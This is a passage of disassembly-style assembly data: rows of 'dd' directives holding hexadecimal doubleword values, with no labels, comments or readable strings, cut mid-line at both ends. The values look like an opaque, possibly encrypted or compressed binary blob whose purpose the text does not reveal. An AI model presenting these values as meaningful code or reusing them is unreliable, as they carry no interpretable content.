7F81E23Ch, 0FE2851EBh, 6CB0F9CAh, 0CBC98038h dd 282FAFC5h, 5F8CF60Ah, 83BC91C2h, 80E4149Bh, 2D905AA6h dd 0E5944398h, 0F088394Bh, 4CC1006Ch, 8FF8D4EEh, 8901BB56h dd 687F23ABh, 303A72FDh, 0B1366778h, 700B8A6h, 0EFD4183Bh dd 3F0163F6h, 56826E64h, 361FC054h, 0AB2B4C81h, 986E7018h dd 388C90B7h, 121C3ED7h, 6C253600h, 8DA916A2h, 8B5E1476h dd 5EA6F888h, 8D44208Ah, 59002AF9h, 0BCAB5EFDh, 0A637B6B3h dd 35D81EE8h, 9B82822Ah, 0A0440689h, 1C818026h, 8C293751h dd 42C4C84Bh, 44EB1C00h, 0B6F91135h, 8D591E5Eh, 54D05EE1h dd 0FF84BC1Dh, 0E8CF5DAEh, 0C9696049h, 983790h, 99A29767h dd 0A4594F2Ah, 29510E00h, 1C785D2Bh, 36E127FFh, 0C100A470h dd 11AA6654h, 3289EDF5h dd 48972B9h, 541C05Eh, 64487D06h, 308A805Eh, 0FF6F9709h dd 0FD900762h, 127A2981h, 0B7018832h, 0BA23E955h, 0D67EC42Ah dd 11028125h, 0DC732158h, 38C79D00h, 2B686789h, 8A4DB612h dd 0F7803CECh, 0C05C918Bh, 0B0000BF8h, 767958C7h, 4BB228DFh dd 9AC0B430h, 0C048F348h, 8A959B88h, 4EB63ACAh, 6AFF310Ah dd 0B8DB1240h, 6B1CC8C0h, 599AF4E0h, 9B362Ch, 6CFCB544h dd 0F8B01A88h, 3D4DAFCh, 36968A68h, 0DC86E0Ah, 1E0EC65Eh dd 806BB55Fh, 4EC5EA63h, 0F54B0354h, 0FB42401Ah, 0C64C2680h dd 103D3307h, 81A5DB27h, 0F3A57CB8h, 44582D48h, 0C5C40088h dd 0ED6A0C18h, 67719EB9h, 0A8E6B301h, 3B4343Dh, 0A0B7A092h dd 0DE8AB144h, 0DB3B80C8h, 5190CAD4h, 0C0C33800h, 6F4E53E2h dd 64D4989Fh, 0BCDB314Ch, 0DF2A80D0h, 0B8FE9532h, 79DA2D0Ch dd 48C48018h, 0A73B7F3Fh, 4434CCC9h, 0F33DA008h, 77250042h dd 28D86FD3h, 0FBBD07CDh, 9027A726h, 0A6D72AFAh, 16223498h dd 94FF211Ah, 5BA5901h, 216F086Ch, 12AEB788h, 756E2095h dd 4F5F8471h, 0E52E700Bh, 0EE9700E4h, 74234686h, 0B5BBC100h dd 73DB0395h, 0E0260290h, 6EDC4CFFh, 0C40838FEh, 0FEC99CD0h dd 1160B1F4h, 20E24AFCh, 0EC320075h, 8DEF27D5h, 0F2006A0Dh dd 4D431E21h, 1C2DDB3Fh, 963852A2h, 17A80840h, 0D4030485h dd 0D427BC22h, 88995044h, 95173Ah, 0A4910408h, 726E4E3h dd 282AA762h, 0E8AB1FF0h, 33AC6431h, 18E34E1Ch, 9EC58201h dd 0E8B793EBh, 9913DB18h, 54E7AB51h, 0FCE9C42Dh, 342A10A5h dd 0DCF8486Eh, 610D3518h, 22EF48C9h, 38883A34h, 37017827h dd 0C1A253B6h, 8C709EB3h, 0C9BD12E7h, 0CB10FC99h, 54301101h dd 19801462h, 0BF6CA4BBh, 61F54E00h, 4970DD4Fh, 5CCE70C1h dd 0EB00A82Ah, 6431ABF8h, 0D4F21D51h, 2E48C200h, 4A7F8B0Ch dd 97230F9Bh, 8D00D6E1h, 7B29A304h, 0E38C5300h, 51A44C6Eh dd 91089973h, 201127ACh, 728CF980h, 79100057h, 0FB191B2h dd 9600B907h, 0F0048FCBh, 0B54DB0CFh, 6B5A7422h, 0AF9E1E22h dd 0CE0C40BCh, 0D63234h, 4D134A85h, 7A267DDCh, 170E9D09h dd 784FA46h, 0F17283C8h, 58828962h, 14570659h, 0B4E49560h dd 907CACF2h, 0C90A5C7Ch, 187527DAh, 0F0BC1B13h, 531CDFA0h dd 79EC2300h, 0E8BD6BD6h, 0BA7F0035h, 30A71DD1h, 144E49F9h dd 4B4BC88h, 833E8716h, 0D6F17085h, 9BFB0039h, 0C0B148A3h dd 93029F29h, 0FF5011A6h, 469862C5h, 0BB5300F8h, 0D082323Dh dd 0C102D850h, 4E672C7Fh, 0FA471F0h, 0E56F3ACEh, 39B0AC00h dd 129DE2DBh, 81C8C1F4h, 2FF44D10h, 8286343Dh, 0BF439733h dd 1180D45Ch, 20501EE1h, 5BFD8D03h, 0D85181AEh, 541155C7h dd 8E005C72h, 0F26D0C43h, 0E74B5531h, 0BC0E45E0h, 0C8AE11FCh dd 0CE5800Ah, 44BF06FDh, 0C6BD312Dh, 0C45F00B8h, 0C172A501h dd 0CF446748h, 8D900029h, 17315F4Ah, 0B85030CBh, 0A63FB008h dd 6AB9224h, 9006CA6h, 0F1630789h, 551EC328h, 198E0640h dd 0B7CE0BFh, 3F339Bh, 61B5D6A6h, 0DEA7C09Ch, 80F9593Ch dd 983B86FCh, 41463EFh, 9CBF4E90h, 8088F22Ah, 0BAB62250h dd 361000Bh, 0C0E8D35Dh, 90B57CEEh, 1F8B5198h, 533953B1h dd 0A3680013h, 0FA46D333h, 2CB93F00h, 3A50B67Dh, 0AFC3276Dh dd 0FD00D0D1h, 9AB799ECh, 51C83955h, 0F7E2A600h, 80C6FB5Dh dd 6E609097h, 446C008Eh, 0E799A624h, 0BF393D4Dh, 1EB080FDh dd 0C2E866D0h, 4C4CC32Bh, 67BF7A42h, 6CF94015h, 0FD2C2488h dd 0B50F2DC9h, 0A534C0B1h, 403C50E3h, 6E0072B9h, 0A396DC05h dd 1DB46877h, 25C1D26Fh, 4E00E071h, 0C8A99507h, 0E9FF0FEAh dd 813EC471h, 182D7744h, 24712E6Dh, 223B2450h, 895FC7D0h dd 59C88908h, 75FC0008h, 0D02C6601h, 1B2DB500h, 0F2905FC1h dd 5057029Bh, 16E0589Ch, 19094459h, 6DF4E886h, 177FC08h dd 58FF29EBh, 0D8A73B81h, 2CB060B7h, 0F0B51481h, 5274FCF5h dd 1D902A05h, 0E8048A56h, 0AD12B758h, 0A5E38054h, 0F4B8B62h dd 16D0E9D9h, 81DF8A04h, 40FCD220h, 8B61110Ch, 68272404h dd 3EE30FEh, 0CFFF2F44h, 0B8DE9CBAh, 0A086F44h, 3940C427h dd 1C0BAECFh, 1A5E7CF8h, 0D6F5B001h, 0EDFC3E05h, 0B61112F7h dd 80F4ECE9h, 3FA7BF7Bh, 0ADE000C3h, 58366081h, 4E12D594h dd 8CACD9C0h, 0AC131822h, 0F4901347h, 71D77555h, 64F400CFh dd 45AE9249h, 6C90A65Fh, 4490801Eh, 0B8C08A18h, 179F4330h dd 18A4B5A0h, 0BF6A7459h, 89D9D890h, 0A4A95A00h, 0C183745Ch dd 809600FDh, 23AFF35Dh, 0D4967CE9h, 662BC840h, 17D6030Fh dd 0C51978A5h, 0AA9Dh, 96675B97h, 8A3C01BDh, 0AA9186B9h dd 80A47CCAh, 80448870h, 2F933B4Ch, 0D8EE1809h, 5825D87Eh dd 8AC64404h, 44B02C03h, 98B73402h, 9F07036h, 81DABD06h dd 9D022C71h, 5D227C89h, 9C631090h, 3C665600h, 0DE553A95h dd 98EC07A5h, 70A38517h, 88EA4EEDh, 690419Dh, 7C3C16C5h dd 0D02CC25Fh, 0A698DA23h, 25EDE0B9h, 280BA030h, 29007465h dd 0FA06FF58h, 39E21C8Ah, 371040E4h, 1590879Eh, 0E8406B7Eh dd 0EBCB0905h, 44A4A9EAh, 82B040A5h, 419924h, 3255FE1Ch dd 0BCF3472Bh, 8AB2BB00h, 4F2C86A4h, 95DE2E93h, 0D2A09358h dd 902A9A34h, 10219307h, 9812CBC7h, 0A65E22DEh, 0F4FBDA22h dd 328A45CCh, 0FF20DD48h, 8C926Eh, 0E3B349B0h, 6422E17h dd 746640AAh, 7099DC01h, 4417F0F5h, 8C3FEF61h, 0EF001A64h dd 88DC308Fh, 172CEBAh, 0D10FD6EDh, 7A3BAFD8h, 0A6B21C20h dd 1DF20144h, 0C910DB2Dh, 0CC98841h, 134D04ADh, 496940D9h dd 2E477AFh, 841F4F3Dh, 689A300Bh, 7A603CF4h, 720FD8BFh dd 0EF11003Fh, 0BE96AF5Ah, 6E4D8102h, 84AE0528h, 0FCA27CF4h dd 6A006138h, 5BBE07F1h, 6C245E02h, 0DA0958A9h, 1264C499h dd 1698E541h, 0CC64C9FEh, 0AF16DB07h, 830147F7h, 515EA0A8h dd 1C22470h, 1F6403Ch, 0A795CE2Eh, 39D87811h, 0FC584E12h dd 0B9549780h, 0CC7FB869h, 576D6500h, 798A3ACBh, 1B47B48h dd 30EA6405h, 3AB25299h, 0F41EC484h, 0AB8408h, 3EA1B3FDh dd 450471D5h, 0F8EE030Eh, 5CBCA980h, 816F36CBh, 0C830E0F8h dd 0C5C61871h, 0D512001Ah, 67587A28h, 6A2E5283h, 5D1CE857h dd 0A2415640h, 451CDD3h, 0E0E70C6Dh, 4812EA1Bh, 57C5B504h dd 0D6F803EEh, 4008C085h, 3C71EDABh, 0C56F290h, 19C20282h dd 999A03FFh, 0FACEBCB6h, 8F34EEE0h, 835CB8A0h, 0A82ACB30h dd 157EF65h, 9AF82B13h, 0C1B7B0D7h, 2E5A317Dh, 0CE88419h dd 8720801h, 3E2F42A0h, 0B788434Ch, 7065E204h, 0C8075F42h dd 0E59CDB00h, 10A78F68h, 3E5F2ED4h, 8E0F64BFh, 6BE761E8h dd 0DBFBD1ECh, 1110855h, 0FF9F3249h, 3FEA5EC5h, 900544DCh dd 4480BA05h, 487DEAE1h, 80B52438h, 5593A832h, 4087EDh dd 0C36A423Ch, 8D36A5B7h, 0C00B5B2Eh, 0B22A1503h, 0FF28A95Eh dd 0AD9020h, 4846E986h, 98CE9E58h, 1601189Eh, 867E536h dd 0B9F3BC40h, 987CF078h, 98AEFAF4h, 625010DCh, 4A90508h dd 203C2F9Bh, 485D461Ah, 0F627C134h, 5DC471Ch, 0DF24025Eh dd 64D08BAh, 46407CDCh, 48E6565Bh, 0F67F0023h, 81161C8Eh dd 22FDC5ACh, 0D69B80FFh, 124C33B5h, 0C60783E0h, 0D3EDD073h dd 5D2407A7h, 70CFF379h, 8665AD9Fh, 758070B4h, 0FF2CF032h dd 0D5D70421h, 86D6D996h dd 5A002196h, 0EABEF04Ah, 0FF69427h, 0CA347808h, 0C1320904h dd 91A7F21Ch, 33806C59h, 29FF2BF0h, 0BB6F448Ch, 27F04B00h dd 59951B11h, 8B18027Bh, 0DB90CBF9h, 8A4D088h, 30016E89h dd 0F60E1B3Dh, 3FCD2461h, 5D3C033Bh, 80029763h, 0E661B3Ch dd 0B045A09h, 0ABDEB8ADh, 0CAF02CF2h, 4DD92B09h, 2440D432h dd 0AD083437h, 207C00BCh, 371D21D9h, 2D7B4Dh, 1A06B4A4h dd 0FEDCD327h, 4CAC98C7h, 330076D4h, 0A584B597h, 328B150Ch dd 14B780EDh, 8C9E536Ch, 0DF64AB81h, 80108282h, 0E0C2386Dh dd 1B6317Fh, 8366F76Fh, 0D02C350Bh, 0E3006E54h, 159159AFh dd 0FD7A3Eh, 0D046F80Fh, 983F55DDh, 0E3004AEEh, 0E99F51F9h dd 0D420DFh, 728F77A9h, 668835E0h, 0BC60780Fh, 0ADC8A00Bh dd 5A3C55h, 0CD349A59h, 6F956B22h, 0F07FA500h, 9D62CF90h dd 2D0B0008h, 0A8682B9Fh, 170D4327h, 384123F5h, 3813D0h dd 0D7F4FEB1h, 943AC46Ch, 36F99E00h, 0BCF61CEAh, 0EC60C03Fh dd 0D759DA45h, 53736700h, 239BF4EDh, 205A60C0h, 8148A041h dd 6454CB00h, 96D4FAB5h, 80761043h, 0D15900ABh, 4F78C9F2h dd 311D0085h, 0EB21F857h, 7C007443h, 763A6139h, 0C7FFD8h dd 0B5A25EDCh, 0F4934207h, 0DEBB3Eh, 0BD278E4Ch, 0F55FDB7Fh dd 0C9A0D080h, 0DFA66336h, 2B309C7Ch, 0F5DE18AFh, 73D80038h dd 59C61B99h, 65012C1Dh, 5A330EF9h, 0EAD023A4h, 89CD0031h dd 3AAB4903h, 81000A99h, 0F861098Fh, 448117Bh, 0E175FE1Dh dd 0CD2E0080h, 1CBD5B65h, 704121Bh, 401413h, 83238F8Eh dd 0E6816101h, 1936DD02h, 87DFCE8h, 80F0530Ah, 0C7159501h dd 0E7D728BAh, 458167B7h, 8EF41EA4h, 0CD010110h, 0E19CB09Ah dd 7CD3DF09h, 8899E088h, 5139E300h, 443447Bh, 1887F082h dd 80D1145Bh, 53304C1Ah, 8B811833h, 99E16069h, 65922C06h dd 68CA4C32h, 0B94B4374h, 40D402D3h, 7C533D8Eh, 8D0FA060h dd 9C33AA09h, 0F15581F2h, 58BA1FE7h, 4BA3C680h, 4C8F836Ah dd 18118B31h, 1DFC9D2Bh, 8E1B0FB2h, 0A1032F39h, 1AC1B5E6h dd 0B8E43099h, 0A478FA68h, 65670105h, 48025884h, 10D1176Eh dd 0F940587Bh, 75561401h, 760CCCB7h, 17E818E9h, 0F0C42A46h dd 4DC039BCh, 0F4150390h, 789536D9h, 8C9A31D9h, 0F1FB7968h dd 0A0DE1BC0h, 0C4C0A9E1h, 991DB841h, 803E5579h, 4BDAFE2Ch dd 0F530CAh, 2142BC01h, 0BE5EE6D5h, 0B8F79900h, 352DA0B1h dd 0E129C8DBh, 0AF14B080h, 3C0E9E8Eh, 1E0EA0BDh, 0D209CA9h dd 16B5A3C0h, 8D9AAB00h, 6A76F604h, 78F33032h, 3765DD09h dd 6CE0F000h, 8C510A4Ch, 8999012Bh, 489263CFh, 0DA9AE082h dd 0E9E6BF00h, 1A9C2984h, 0DF993FC9h, 44B0B80h, 31564FC6h dd 1F0F8F03h, 87FC2DD8h, 0FE17EB51h, 0FDEBAE4h, 0B5DBB782h dd 0D867921h, 0C4DD218Ch, 0DF002B53h, 1CBA4BFh, 3A439Ah dd 0A3B4A57h, 0B65405Eh, 0BE022CE6h, 8A5F45FAh, 0F7A081A3h dd 4840AAE2h, 0E279FF06h, 0B2C900E4h, 0ED80017Ah, 47005162h dd 28BD3336h, 0F90C19h, 0A627FE1Eh, 0FB739737h, 0EA7CF200h dd 0FA4E477Bh, 9BED03AAh, 0C3F6E091h, 79BEA000h, 0BB5CFF59h dd 3A5607CFh, 8D6F9E83h, 0B58EDC80h, 0DD04F90Eh, 5B51038Fh dd 36B1E1E3h, 66DAFCh, 0FC40C2Eh, 0AFC0CBB5h, 37330700h dd 94F4DB26h, 7DC50057h, 6FDB705h, 2D009892h, 0CF0B4680h dd 0EF4D7Ch, 0C299EDC1h, 5F7AD982h, 3BBD7700h, 0A3F93DF7h dd 0F2209057h, 0A27FB4h, 88B12AACh, 74A522B6h, 802BAA3Eh dd 0A6BABB85h, 28A376h, 5A6CD5F6h, 6284B3D9h, 67DEF100h dd 86BBD655h, 0A8910038h, 0E98E4D4Bh, 7500ACDBh, 818368C3h dd 3EEE3F94h, 0A40FBE4Eh, 0D0E01DAEh, 0EC7738E3h, 0F0360400h dd 0F54870E4h, 85A30075h, 5C2BFA49h, 0E200011Ch, 4E8CCB5Bh dd 7DB90A7Ch, 67360087h, 310B6C68h, 0B30006A9h, 0CDC75CBFh dd 3291C1h, 0A0BBB2F8h, 2B95AFC4h, 9DCC2000h, 8BBC101Bh dd 0CA1E3F29h, 0BB0D1A86h, 0B1002093h, 0FDDDDE7Fh, 0F1E557h dd 0D2C241FBh, 0E9EE54FEh, 0E143F900h, 8EACB263h, 746B047Dh dd 8097BD1Eh, 3589C3B3h, 0D7E51D00h, 0DB59A30Ch, 16EC07CFh dd 8F312942h, 20F5C387h, 36E1BF25h, 0BE45A500h, 673FB2D1h dd 0D00B0197h, 137CC9FEh, 536196h, 853395D0h, 76002979h dd 5047C5E0h, 755518h, 3E3A3BDDh, 0C479045Fh, 15772C00h dd 0F69596A4h, 5E8A009Ah, 0FD76F103h, 0E47B73A2h, 0E3ACA107h dd 6F0046FAh, 3ACD5Eh, 0D181D5AFh, 0EF1ACFD2h, 14A35F1Fh dd 0E2C3CE40h, 60FC875Ah, 0D2B0117Fh, 0D0000296h, 0D56B8D51h dd 0A0F1C61Fh, 18241B4h, 0A49983DCh, 20E95F2Bh, 0D1FE308Ch dd 0DB6B3Eh, 18856041h, 0ECFBA43h, 30CD74E9h, 0B9CC5E40h dd 3B003F12h, 0E2481432h, 0C2A1F72h, 9195E1F7h, 0C106D430h dd 0B9DF1EE0h, 76443070h, 0F02C28F0h, 0F340C060h, 0EF6CEC9h dd 0E913C3F2h, 0B61C34A0h, 6F00E578h, 105C40C2h, 5DECBFh dd 0DC6C3E90h, 0FCD9047Fh, 59C9E300h, 4ACF855Ch, 0D18A0093h dd 55746352h, 0BC033726h, 0D95822B0h, 0F7C0C4CFh, 0CCF453h dd 0DE6A4070h, 0D3B259BAh, 5B7AC107h, 0A89CF2F3h, 6AD5006Fh dd 5ADD8B60h, 0CB007B50h, 0E0895E68h, 607A4D59h, 3F7020D3h dd 0BD009C1Dh, 0BBB02417h, 910201h, 0A82D14BEh, 222103B9h dd 8F6CF312h, 5D344002h, 0C6F200FDh, 0FB005080h, 0DC446DCDh dd 380AE97Ch, 7D8F52EBh, 64E107CCh, 87AD8137h, 299E3030h dd 334F1940h, 1F3A7E04h, 827E8822h, 3EA3D3DBh, 0F9CBE080h dd 2A000A6Eh, 0A742C3D0h, 0F43945A0h, 4BF200D9h, 8CBA8F0Eh dd 0EC0022B3h, 34DF70C5h, 510804Ah, 4F4E1E83h, 0FFB800BDh dd 7F5079D1h, 0C5C25816h, 5FE06400h, 97FA1Ch, 716A9226h dd 47704246h, 9F1C674Ch, 75380BE2h, 0B0840440h, 65A8902Dh dd 0E624709Ch, 0AE008CCDh, 75E412C8h, 9424005Ah, 0A2868139h dd 3402A607h, 884608B2h, 519C40E5h, 5A640017h, 0CC1E102Ah dd 55002EBAh, 29C523B7h, 97FCEBh, 0DDC45ACEh, 8C2A81CDh dd 0F3DC350Eh, 11BAE032h, 71981BE7h, 0D25D00BDh, 0B27B5531h dd 66744E05h, 0EE5F6E1Ch, 0A400AA96h, 2A27A71Ah, 28360787h dd 1C4AA02Fh, 941D1450h, 439C1FBFh, 9B1F885Fh, 6AA67FC0h dd 0EC73E9Dh, 874E98ABh, 13B493A2h, 45C4DC68h, 82813400h dd 360D9EC8h, 842600A3h, 0F39CBCBFh, 2B0FA233h, 2027A483h dd 4B97D353h, 0F24409E3h, 0DE8031D9h, 0EF81C768h, 0E64DDD07h dd 46714328h, 0E824BD99h, 0A3C9EC39h, 0ECC1C4D4h, 65CD04DCh dd 6F3C18D0h, 3E7D185Dh, 384CF102h, 1882E13Ah, 24803145h dd 1DE8343Fh, 16C433Ah, 4D3DA5D6h, 0FFECDC55h, 3ED33C61h dd 21119607h, 0D0E1CCB0h, 475CDD00h, 223CDC56h, 7039D8D7h dd 0F51FF821h, 5F005E31h, 0D8CBFE47h, 3C38002Fh, 0C34B17FCh dd 614DE05h, 1449645h, 1EE86DB7h, 54407C3Bh, 1578ADh, 9FF8C4A8h dd 0AD4FF21h, 12096EEEh, 3187F91h, 0AA7BFAE4h, 56A0E0DEh dd 0A5A01D7Dh, 3EE47h, 87C78B1h, 0DF0011A9h, 15F0FF1Eh dd 73FCE2Fh, 9984C9D2h, 684390F1h, 0FB000D97h, 601058AAh dd 3CE4E0Ch, 1E075B3Ch, 0A972C63Ah, 38D639h, 5D0BF5F1h dd 50ABAA14h, 88D1C8EEh, 0C4076CDEh, 6B5B1EBDh, 42C0BC4Eh dd 47531F93h, 0B848C0A2h, 7BD93CD3h, 0F834AD3Fh, 100363B0h dd 91833512h dd 0BB700ED4h, 7809244h, 311C0371h, 0B5899FF5h, 95A62D80h dd 0E3539Eh, 0D88AFAB4h, 45876C79h, 0D598DE1Bh, 9C30AF91h dd 0B069E116h, 1D57B0BEh, 6EEBF11Bh, 4FAE0AFAh, 27F981ECh dd 606DCA88h, 95007933h, 3A45047Bh, 3C576F7Dh, 46BC43F4h dd 0FACCC2Eh, 2100395Fh, 140BC1E8h, 4B74BC00h, 1EBBD340h dd 8E9F3C45h, 0AE304680h, 0B15118F1h, 48862200h, 52CD0D09h dd 147A0277h, 0C4B93D53h, 45308481h, 40918059h, 19F74FEAh dd 0FFB00479h, 0C0C93574h, 99BA5D4Bh, 8BE26D00h, 3364059Eh dd 78A30026h, 5DCE9FC5h, 0FC608180h, 0F5BC1829h, 0D16E03F6h dd 0A1779DD6h, 5E6E0870h, 0F5B34020h, 0FAEFF0DAh, 0E2390CAFh dd 4258B11Fh, 5DF7FA0Bh, 62700633h, 8720C160h, 87640CC9h dd 0AC5DF840h, 0B545C641h, 0F3DA1180h, 0ED33B73Ch, 3B621B0Ch dd 0C0DC08DDh, 3CEB7421h, 0B53C0795h, 43E28136h, 0FBED15DAh dd 600B12DCh, 2EE580ACh, 78C17527h, 0A5C7FA6Dh, 2FB91882h dd 15007A6Fh, 83997F13h, 0F1618806h, 10A653h, 5054594Dh dd 0E35DCDD5h, 808C243Dh, 0CCE635BEh, 0E45E8Fh, 7578AC7Fh dd 5368ADEAh, 0FBD2D400h, 92BDE310h, 795BB8C6h, 1D78F9h dd 0F8C22270h, 453B9815h, 550AF400h, 0DCB1FF4Bh, 6EAE3A4Eh dd 0AC823D8Eh, 94E9EB20h, 0F6009E34h, 55F850A0h, 0FFFF430h dd 0D122D5Dh, 960370Eh, 2B35244Ah, 0BE0431D0h, 835C840Dh dd 6C7A2010h, 0ABE73100h, 9DD1F224h, 0FC7F25h, 40844679h dd 418E3D3Ah, 2969AB32h, 9F461010h, 0CD093489h, 100C1264h dd 0A8899B4Bh, 63443208h, 4FF144F8h, 849C9444h, 2262BC22h dd 95F6F054h, 0AE087089h, 5032F820h, 44672840h, 8D88E497h dd 41CC00CEh, 51DCE6E1h, 0C603D872h, 0CDE3EB43h, 0D0C34Eh dd 9568EC20h, 87B023A1h, 9E00157Eh, 0B32AA699h, 7FCFFD6Eh dd 527F3994h, 77D39004h, 849380B6h, 4E0087D7h, 859EDCD5h dd 20DF6Dh, 72B8248Ch, 0CFE791B9h, 5CEA3B2Dh, 0FF1600BEh dd 0AC8F5144h, 0ED91F00h, 1075F584h, 0A2710381h, 79C43913h dd 3F9E3FE9h, 34DDFE0h, 0AD7E9BACh, 0BCF84418h, 1B00D484h dd 7959F635h, 0CD8037h, 5263AA54h, 5FCE44B9h, 0A8007FF8h dd 0B6F94715h, 608B5711h, 1AC2706Bh, 0B012942h, 51E2B404h dd 0E2603A5Bh, 0D0FE0E2Dh, 15433B22h, 6C831FBh, 910024F2h dd 3C1F579h, 319BAF9h, 0EEADCF49h, 0E688406Fh, 6C01536Eh dd 5E3E6AECh, 0E88029D9h, 0B2CD720Fh, 4EFA6EC8h, 97BFDD17h dd 0E18B100h, 3BD957h, 1C382291h, 0EEFB4B0Ah, 6F2E4D00h dd 0F121D261h, 0A1060094h, 0FF05D7EFh, 7716A067h, 4B043C15h dd 70904E2Eh, 0DE040Ah, 0AB25828Ch, 6BD94AA6h, 8081A23Dh dd 0F80EDC1Ch, 1F432A85h, 5A5F73h, 21CA2458h, 0A300C791h dd 0E7B7D80Ah, 95943h, 26740E4Bh, 0F03AA617h, 0A8041A00h dd 95D7A934h, 0E1C204EAh, 803384B4h, 0FF7035B0h, 0FC43C928h dd 8955170Ah, 2D00B4D7h, 0FDCE08BEh, 0FA0F02Bh, 0B342928Eh dd 0BDE90200h, 0B4002A49h, 2C41E3C1h, 0E40705h, 0DD9A640h dd 4C27840Fh, 0AEC79A03h, 99FE79ADh, 1DD02A2Dh, 6F789Bh dd 2732CF44h, 914B01A7h, 0A36D8800h, 0E90C9F5Fh, 82840063h dd 0B96ED13Bh, 0C803502Dh, 1F4FE8F9h, 0CE98D18Eh, 3DF0EEFCh dd 0F180189Ah, 0BB114056h, 0EC0F6F3Ch, 0E065C6C5h, 79B09C58h dd 56B30098h, 0D4CCD877h, 5505366Ch, 902D3BA9h, 874C2A80h dd 24250E85h, 0D880399Bh, 0AF2384CFh, 77188800h, 4D80C0D6h dd 0E3DB005Fh, 1F9867E5h, 6101FC6Eh, 37B37917h, 68014AEh dd 99034C3Bh, 64077BDCh, 6E75DAD3h, 400ADB32h, 186E72Ch dd 3FB26FF9h, 30650196h, 8D04BCFCh, 1E0E2258h, 5E5A0C80h dd 46700063h, 565FF3D7h, 6A0F6168h, 0E6F2D64Ch, 75206055h dd 0CB7003Bh, 21BD7D81h, 0BB009397h, 26828A1Fh, 38919D28h dd 4A80AEDAh, 7E56DCCFh, 700F0B16h, 0E0D5C51Bh, 6A2AECFAh dd 0F140FCBh, 4D0BE0F1h, 709BAF07h, 1DCC216Eh, 0A47851h dd 6CE0C794h, 6D754513h, 501E1042h, 21266083h, 57B624E9h dd 274C096Fh, 0FF1D9400h, 7B20FEDCh, 91460016h, 0C8056C8Dh dd 74722E4Eh, 0B553F800h, 8BDDC05Eh, 2C5C9067h, 930407E4h dd 3A4C40DFh, 3017952Fh, 0A4481C0Ah, 0F900A815h, 3D1DBE59h dd 637F011Eh, 66CB91C5h, 0E66420DBh, 0FB923A05h, 0F2004575h dd 7B177A5Bh, 1ECB0063h, 9F34F671h, 6A133E4Fh, 1009FD31h dd 0C3B0A74h, 0B8009513h, 45C793C1h, 86D12810h, 1BE003F8h dd 98B3112h, 1CA1A780h, 5D622400h, 0B00B3E43h, 77B1039Fh dd 32549A0Fh, 0D39BCFA8h, 3E6F1B1Dh, 403049h, 0B8738FC0h dd 0A09A96h, 0B6E1979Ch, 9D728390h, 798A9907h, 674292B4h dd 3A906062h, 0C9600078h, 0C65B68A9h, 0CFEA793Ch, 0EC879F00h dd 116E450Ah, 6B9B0086h, 8824DF0Fh, 400B827h, 731FCC93h dd 5EAF970h, 0C34983B9h, 0E5EBC0DDh, 82004277h, 0DCEEA3FCh dd 0B86AB83Ah, 311007Dh, 48B3B16Bh, 0B628C1EBh, 0F41EAC72h dd 23807470h, 4E4F5E6Fh, 0C8B3506Ah, 0B142008Fh, 943D7072h dd 9F000ED1h, 23D20B3Ch, 4F127h, 4853D4E1h, 0F8B7C4E6h dd 0EA001898h, 0A96A9232h, 3ED88Ch, 0AB6CEE9Fh, 48B259D2h dd 0A003490h, 0E3DE5020h, 68D8E6h, 0A1B9846Bh, 0CA18B645h dd 4DD56E03h, 0A199D9DFh, 0EB5A7Fh, 7BB99338h, 6E0F8A59h dd 0A7242E1Ch, 504ECC0h, 6022E87Dh, 0C4D328CFh, 0D10E4E5Ah dd 0C1F4A656h, 13732BBEh, 24A14C60h, 124893F1h, 638C0319h dd 0BCA01ADCh, 0C0085FFh, 0BE20B727h, 0E4E3A1h, 0B1845953h dd 30F45D01h, 639DA60Fh, 7D01BC8Ah, 7552C9EDh, 389471C8h dd 21E07943h, 0BBE41342h, 140488D3h, 0B641F072h, 20778359h dd 5E2461C4h, 4C00C3F2h, 0B84268E4h, 48E900E0h, 0EB1190C1h dd 3A0435BEh, 6E5F9ED0h, 0A84188C0h, 992C0055h, 3BBA15B5h dd 4F00EEF6h, 0CA7E8A5Bh, 0EC850A6Bh, 575C00E2h, 0EBE0F5A2h dd 0C2076574h, 410C3828h, 85F4B6F0h, 80E00EAh, 614321EFh dd 9B289C8Eh, 8D07C390h, 0C8C47114h, 5B8E156h, 1DB72B44h dd 6E20D036h, 4A74662Fh, 973B8CE0h, 214CC77h, 5621CB87h dd 948480A7h, 130FCDD0h, 65AD31h, 73F2981Ch, 970E4F30h dd 0F3C81AEFh, 81901040h, 18989F88h, 40A128DEh, 0C90C825Fh dd 793A2526h, 10153B3Ch, 7AE88E80h, 92398B72h, 34FC0DEAh dd 88068174h, 697FFD4h, 53F4A090h, 5F930E4h, 0B04EC480h dd 0E29B6D10h, 7D0A1548h, 3CC721Eh, 9735FB85h, 5D449000h dd 0E4BA0BA4h, 1EBC796Ch, 0C0910AB4h, 7051CB6Fh, 8D028655h dd 0C276C5B1h, 0C8ECE371h, 48590721h, 670228C4h, 0D2451448h dd 0AF2F7400h, 309FE8A8h, 5190041Ch, 340083CDh, 822C3A0h dd 127B39DBh, 0E9438EAh, 35602B08h, 9FB30577h, 341DC507h dd 0D9901AE2h, 7DC1F73Ah, 0BE7F00EDh, 9807CC86h, 0D03A1B0h dd 0BFC8C984h, 10E9F894h, 34090018h, 0AD4F1DFCh, 2A00F4E3h dd 1E9D171Fh, 0F563E85h, 9EE16412h, 0F83B4BE0h, 0A8717795h dd 988B8700h, 18FAB811h, 9A2B1EEBh, 0AC454790h, 312CF08Ah dd 0A174261Dh, 9B44E500h, 94A5E0EAh, 8428007Bh, 988A724Fh dd 81587997h, 0E6007D2Eh, 7AF4AF33h, 20C8743h, 0FEAD1DD3h dd 0CE604270h, 20C735D2h, 0C090A9DFh, 51F1B5h, 47E02BACh dd 5AF6B6C3h, 0DE29B400h dd 0BD6A3A66h, 0C6DC6AC9h, 16F171Bh, 1CA8D188h, 3F706476h dd 8C717D2Eh, 8024C089h, 95DDA128h, 1E2FCD6h, 17E46D12h dd 0E07A7B5Eh, 0BD0753EBh, 0D2B0B435h, 0CEA1802Fh, 483C766Eh dd 7400BFF8h, 216C86Ah, 272EEB78h, 0D300E823h, 95F4A72Ch dd 8E4A8F0h, 5A341FDFh, 0FC1C80A0h, 3C422989h, 1A021307h dd 2B409439h, 75C5A6Bh, 7E86669h, 4B097065h, 32603BDBh dd 5C2F5558h, 0DA0E3ED0h, 204A5F9Ah, 512989C0h, 2031FB00h dd 0CA0C9145h, 0AA7209F9h, 0BC8F491Ch, 0AD4C00B3h, 0AB398A82h dd 0FBDA3507h, 13939185h, 0EC280297h, 3EBF88CDh, 2BDC5468h dd 47008DEEh, 0A61A1681h, 795298CFh, 0FD3B0017h, 6C3F65DBh dd 